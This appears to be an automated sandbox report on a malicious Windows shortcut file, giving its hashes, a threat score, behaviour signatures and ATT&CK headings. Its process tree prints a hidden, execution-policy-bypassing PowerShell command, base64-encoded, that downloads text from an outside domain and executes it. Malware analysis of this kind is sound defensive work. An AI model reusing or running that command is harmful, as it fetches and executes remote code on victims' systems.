3b9db9baa7abb0f6648f2ee6147486a9432e4c635d47a4b8e0202fb922106aef

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
05/04/2024, 11:42

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General

Target
DOC692 - 692692.lnk
Size 9KB
Sample240405-nt7lsabd66
SHA256 decbd662ecab295cb2c060232a6de8218843d671b7cb628aaf769ba4bcdf126f
MD5 a344b567076691b5cd838512c99bc884
SHA1 0de4ad8f9f127c0c444bb7db4459d0977b1f6506
SHA512 ad6d3fed7647c933c9a23938f7c39a8799d5845cd6a9e1fec6d0a2044c740795d428e89467c4e5b1f8217217f272863438b68e160da312d6ae8498af9688dd98
SSDEEP 192:8z5phm3MSBfQbxE4l2g9FWV4FBno2dzSkbP43O5yrf68g493f61hVNeXkI:u5fcMS5Qb6EouFB3dzBbw3Omf68Zp9XV
MD5 SHA1 SHA512 SSDEEP

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2636	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2636	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2064 wrote to memory of 2636	2064	cmd.exe	29
PID 2064 wrote to memory of 2636	2064	cmd.exe	29
PID 2064 wrote to memory of 2636	2064	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC692 - 692692.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:2064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2636-38-0x000000001B6A0000-0x000000001B982000-memory.dmp

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memory/2636-39-0x0000000002060000-0x0000000002068000-memory.dmp

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memory/2636-41-0x0000000002B50000-0x0000000002BD0000-memory.dmp

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memory/2636-40-0x000007FEF5A40000-0x000007FEF63DD000-memory.dmp

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memory/2636-42-0x000007FEF5A40000-0x000007FEF63DD000-memory.dmp

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memory/2636-43-0x0000000002B50000-0x0000000002BD0000-memory.dmp

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memory/2636-44-0x0000000002B50000-0x0000000002BD0000-memory.dmp

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memory/2636-45-0x000007FEF5A40000-0x000007FEF63DD000-memory.dmp

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